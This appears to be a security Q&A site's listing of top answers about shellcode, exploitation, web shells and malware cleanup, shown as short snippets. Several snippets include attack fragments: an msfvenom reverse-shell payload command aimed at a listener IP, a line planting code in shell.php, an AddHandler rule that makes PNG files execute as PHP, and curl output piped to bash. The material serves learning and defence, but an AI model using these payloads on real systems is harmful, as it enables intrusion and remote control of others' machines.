51 votes
Accepted

I feel like it's impossible to learn reverse engineering

So let me preface this with "I'm not implying you're a child" Often when I teach kids about CIS and they hear what I do for a living, the first question is "How do I hack?" I'll tell you the same ...
user avatar
41 votes
Accepted

How does shellcode really run?

TL;DR This is a way to execute shellcode which no longer works. What is a function? Shellcode is just machine code in places where it is not normally found, such as a variable of type char. In C, ...
user avatar
  • 63.8k
22 votes

PHP malware/shell keeps resurrecting

I would enable auditd to monitor changes to the files you expect to be backdoored. You will be able to determine which account and process that is responsible for doing these changes. After ...
user avatar
21 votes

Why does my x86 shellcode test program segfault?

I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80) [-----...
user avatar
  • 1,954
19 votes

Does analysing Malicious code in gdb pose a security risk?

It certainly does. gdb will not isolate the process at all and will merely give you some control over it to understand what it does. To do that kind of analysis, you should resort to a fully ...
user avatar
12 votes

What is the difference between a payload and shellcode?

When exploiting an application, the payload is the code that the attacker actually wants to execute. It's the part that not just serves the purpose of leveraging the vulnerability itself, but does ...
user avatar
  • 43.7k
11 votes

I feel like it's impossible to learn reverse engineering

Reverse engineering is fun. I use IDA once every other week, so I am not an expert in the field but do it often enough. If you want to understand reverse engineering you need to know how to engineer ...
user avatar
  • 2,997
10 votes
Accepted

What does the NSA's Recently Leaked "The Equation Group" Files do?

There's been four top-notch analyses so far regarding incident with the free files (40 percent of what is claimed to be released). Nobody has the password to the auction files yet, which represent ...
user avatar
  • 18.9k
9 votes

PHP malware/shell keeps resurrecting

I originally posted this as a comment, but I think this could do with a little explanation. From my experience with website takeover scenarios, when a shell is uploaded to a website, the hacker ...
user avatar
  • 1,241
8 votes

Program exiting after executing int 0x80 instruction when running shellcode

If you are running this from the command line, and you are using the < to feed the shellcode from a file, the shell will immediately terminate when it reaches the end of input. If you want it to ...
user avatar
  • 81
8 votes
Accepted

How does getting a remote shell via exploiting a vulnerability really work?

Vulnerable programs need to listen to ports in order to access them over the network directly. But, you could gain access to the system through other means then exploit a vulnerable program that does ...
user avatar
  • 123k
8 votes
Accepted

C shellcode explanation

using ndisasm, the data in the sh array can be disassembled into the following valid 64bit x86-machinecode: 00000000 EB0B jmp short 0xd 00000002 5F pop rdi 00000003 ...
user avatar
  • 364
7 votes

PHP malware/shell keeps resurrecting

I've had a very similar thing happen to a site I manage. After much frustration of deleting the malicious code and then it appearing about 2 weeks later, I discovered this: I took note of the date ...
user avatar
  • 203
7 votes

Serving a php webshell without running it locally

Use the following setting in your apache config or in a .htaccess file: php_flag engine off See also Disable PHP in directory (including all sub-directories) with .htaccess.
user avatar
  • 28.6k
7 votes
Accepted

Difference between Code Injection, Command Injection and Remote Code Execution

Hmm let me try: Code injection consists of modifying an executable / compilation unit / script so that it contains malicious code on top of it´s intended functions. Code can be injected locally into ...
user avatar
  • 547
6 votes

Cannot get simple shellcode runner to work

In the proposed example, the program is executing a nop sled consisting of \x90. After this nop sled executes, it does not return to main, and therefore crashes with a Segmentation fault. ...
user avatar
  • 46.8k
6 votes

MSFvenom doesn’t generate raw shellcode output properly

You are using a wrong switch. This should work, tried and tested during OSCP training: root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c No platform was selected, ...
user avatar
6 votes
Accepted

Shellcode in a jpg/png

Simply put, there are various methods to masquerade a shellcode as a jpg file, but the file still needs to be executed. Whether you can do this depends on a variety of factors such as server and OS ...
user avatar
6 votes
Accepted

Is it possible to use the Linux "echo" command maliciously?

Yes. You can use echo maliciously. You can use > operator to redirect the output to a file where the output can be a malicious code. echo 'Malicious_code_here' > shell.php Lets consider a case ...
user avatar
6 votes
Accepted

Why would legitimate programs have a `jmp esp` instruction?

The instruction jmp esp is encoded as FF E4. It’s not necessary to find an actual jmp instruction, just those bytes in the middle of any other code or data. This is the basis for return oriented ...
user avatar
  • 714
6 votes
Accepted

Is it possible to execute a local file or code from cURL?

Not sure if this is against the spirit of what you are asking but you can pipe the output of a shell script to bash. e.g. curl "file:///root/script.sh" | bash Also take a look at a list of known curl ...
user avatar
  • 2,651
5 votes
Accepted

Removing null bytes from shell code

mov can be replaced by push and pop. So eg this: mov $0x3c,%eax Can become this: push $0x3c pop %eax Which would give you this null byte free code: 0: 31 ff xor %edi,%...
user avatar
  • 29k
5 votes
Accepted

Is there any downside to always declaring some default bad chars when generating exploits?

For shellcode the only potential issue is size constraints. But assuming null bytes are bad is a bad habit. You might mistakenly think a crash is not exploitable because the only viable pop pop ret/...
user avatar
  • 5,700
5 votes
Accepted

Execute PHP inside PNG using curl

First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file. AddHandler application/x-httpd-php .png or AddHandler ...
user avatar
5 votes
Accepted

Buffer overflow - Print "hello world"

If you want to get shellcode quick and dirty, use msfvenom. If you want to learn something and become a wizard, I suggest the following: 1. Write a small assembler program for your platform. You ...
user avatar
  • 3,006
5 votes
Accepted

Do NOP sleds expose shellcode?

IDSs will look for nop sleds, but they can also be masked. Consider that any instruction that is: Valid and executable Will continue execution somewhere in the nop sled between itself and the ...
user avatar
  • 108
5 votes
Accepted

Serving a php webshell without running it locally

python -m SimpleHTTPServer 80 will spawn you a simple http server that is not php aware, quickest way imho
user avatar
5 votes
Accepted

Does it matter in which programming language you write the shellcode?

The term "shellcode" comes from the fact that it is typically used to gain shell access on the machine. In most cases, shellcode is used when there is a memory corruption-based vulnerability (e.g. ...
user avatar
5 votes
Accepted

Generating unicode javascript shellcode

As hinted at in the comment above, you want to use msfvenom to generate your payload. Start by finding which payload works best for you by using: msfvenom -l payloads This will show you a list of ...
user avatar
5 votes

A process called ./watchbog is mining crypto currency in our server. How do I stop it?

From my point of view, there is no way to tell if the rest of the server is safe or not. If I were you, I'd handpick files to save and recreate a fresh server to ensure that it isn't compromised. ...
user avatar
  • 301

Only top scored, non community-wiki answers of a minimum length are eligible